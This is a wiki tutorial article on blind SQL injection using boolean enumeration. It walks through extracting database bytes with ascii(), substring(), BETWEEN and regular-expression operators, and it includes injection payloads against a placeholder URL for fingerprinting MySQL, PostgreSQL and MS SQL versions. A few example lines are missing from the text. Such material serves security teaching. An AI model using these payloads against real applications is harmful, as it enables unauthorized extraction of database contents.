Questions about this topic? Sign up to ask in the talk tab.

SQL injection/Blind/Response-based boolean enumeration

From NetSec
Jump to: navigation, search

Response-based boolean enumeration

Boolean enumeration is the process of using conditional statements (true and false, just like the testing methodology) to determine the value of a byte.

  • The maximum value of any byte is 255 and the minumum is 0.
  • There are 8 bits in one byte
  • A bit can be 1 or 0 (True or False)

Therefore, logic dictates that,

  • By asking no more than 8 true/false questions, one should be able to determine the value of a byte.
There are primarily two methods to using boolean enumeration. One involves selecting a byte from a single-cell of a database and testing for true or false against its character or ascii code, the other involves selecting a single-cell and comparing it with a regular expression.
  • Fortunately, universal operators and universal functions include:
 BETWEEN ... AND ...    |   Operator
 = < >                  |   Operators
 substring()            |   Function
 ascii()                |   Function

This assists with crafting uniform queries that affect ALL sql dialects.

Protip: Basic enumeration using standard operators is possible, although usually filtered by one of today's many obstacles to injection attacks, so BETWEEN operator will be used for demonstration purposes instead.

In order to ensure that data integrity is maintained:

  • Always use a LIMIT on select statements in subqueries
  • Always use ORDER BY on select statements in subqueries, and keep the column name the same.

Using Ascii codes and the ascii() function for enumeration

The ascii() function on any given database engine will return the ascii code for the the character passed to it. If it is passed an entire string, it will return the ascii code for the first character. For example:

 SELECT ascii('a');
  | ascii('a') |
  |         97 |
  1 ROW IN SET (0.00 sec)


Using substring() to select a single byte:

  • The substring() syntax is:
  • To select the first character of a string, for example:
  | SUBSTRING('abc',1,1) |
  | a                    |
  1 ROW IN SET (0.00 sec)
  • To select the second character:
  | SUBSTRING('abc',2,1) |
  | b                    |
  1 ROW IN SET (0.01 sec)
Protip: The upper() and lower() functions can be used to convert results to all uppercase or all lowercase. This will remove a set of ascii characters from possible values during testing.

Version fingerprinting with ascii-based enumeration

 While boolean enumeration can be used to obtain any type of data, version fingerprinting will be used as the example.
In theory

For the examples, version() function will be used.

Protip: If the version() function fails, try the @@version environment variable instead.
  • The ascii code of the first character of the version string can be accessed by calling:
  • On PostgreSQL, the first character of version() is 'P'. Since converting it to lowercase, the ascii value of 'p' is 112.
  postgres=# SELECT ascii(SUBSTRING(LOWER(version()),1,1));
  (1 ROW)
  • On MySQL, the first character of version() is numeric. On the local example, the first character is '5'.
 mysql> SELECT ascii(SUBSTRING(LOWER(version()),1,1));
  | ascii(SUBSTRING(LOWER(version()),1,1)) |
  |                                     53 |
  1 ROW IN SET (0.00 sec)
In Practice

These queries work on MS SQL as well, an MS SQL server was not available during the writing of this article for demonstration. The same syntax, except using the @@version environment variable applies.

  • Using the between ... and ... comparison statements, the value can be isolated:
 /vulnerable.ext?id=1 and ascii(substring(lower(version()),1,1)) between 0 and 127
 /vulnerable.ext?id=1 and ascii(substring(lower(version()),1,1)) between 128 and 255
  • The range delimiters can be adjusted on the between statement while it returns true until both parameters are equal. When both parameters are equal and the query returns true, the value of the byte is found:
SELECT * FROM sample WHERE id=1 AND ascii(SUBSTRING(LOWER(version()),1,1)) BETWEEN 53 AND 53;
  | id | sample_text         |
  |  1 | this IS sample text |
  1 ROW IN SET (0.01 sec)
  • Following identification of the first byte, one can move from the first to the second by changing:

Using Regular Expressions for Boolean enumeration

Regular expressions are by far the best solution to filtering and sanitizing.

  • MySQL's REGEXP operator is case insensitive.
  • PostgreSQL's ~ operator is case sensitive.

Getting started with regular expressions

Regexp allows comparative analysis of a single byte from a string with a list, similar to between ... and ... injection.


  • Special characters:
 ^   The beginning of a string
 $   End of a string
 .   Any character
 *   0 or more of the preceeding character
 +   1 or more of the preceeding character
 ?   0 or 1 of the preceeding character
Protip: To see if a string starts with a particular letter (using the letter z for the example), the regular expression pattern '^z' can be used. This will ONLY match if the first character of the string is a 'z'.

Ranges and lists:

  • A range or list can be specified inside of square brackets ([ and ]). Ranges can include letters and numbers, while lists are specified characters.
  Pattern | Description
  [a-z]   | Matches only letters a through z
  [0-9]   | Matches only numbers
 [aeiouy] | Matches vowels.
 ^a[0-9]  | Matches if the first character of the string is `a', only if the second character of the string is a number.

Version fingerprinting using compatible regular expressions

Protip: Regular expressions are portable.
 MS SQL and MySQL now both have the RLIKE regular expression operator.
  • Version enumeration on MySQL and MS SQL:
  AND version() RLIKE '^[0-4]'        -- This will match if the first character of the version is between 0 and 4
  AND version() RLIKE '^[5-9]'        -- This will match if the first character of the version is between 5 and 9
  • Because PostgreSQL's version() string always starts with 'P' for "PostgreSQL":
  AND LOWER(version()) ~ '^[a-z]'   -- Should ALWAYS return true
  AND UPPER(version()) ~ '^[a-z]'   -- Should NEVER return true
  • Adjust the ranges to hone in on the value of the byte.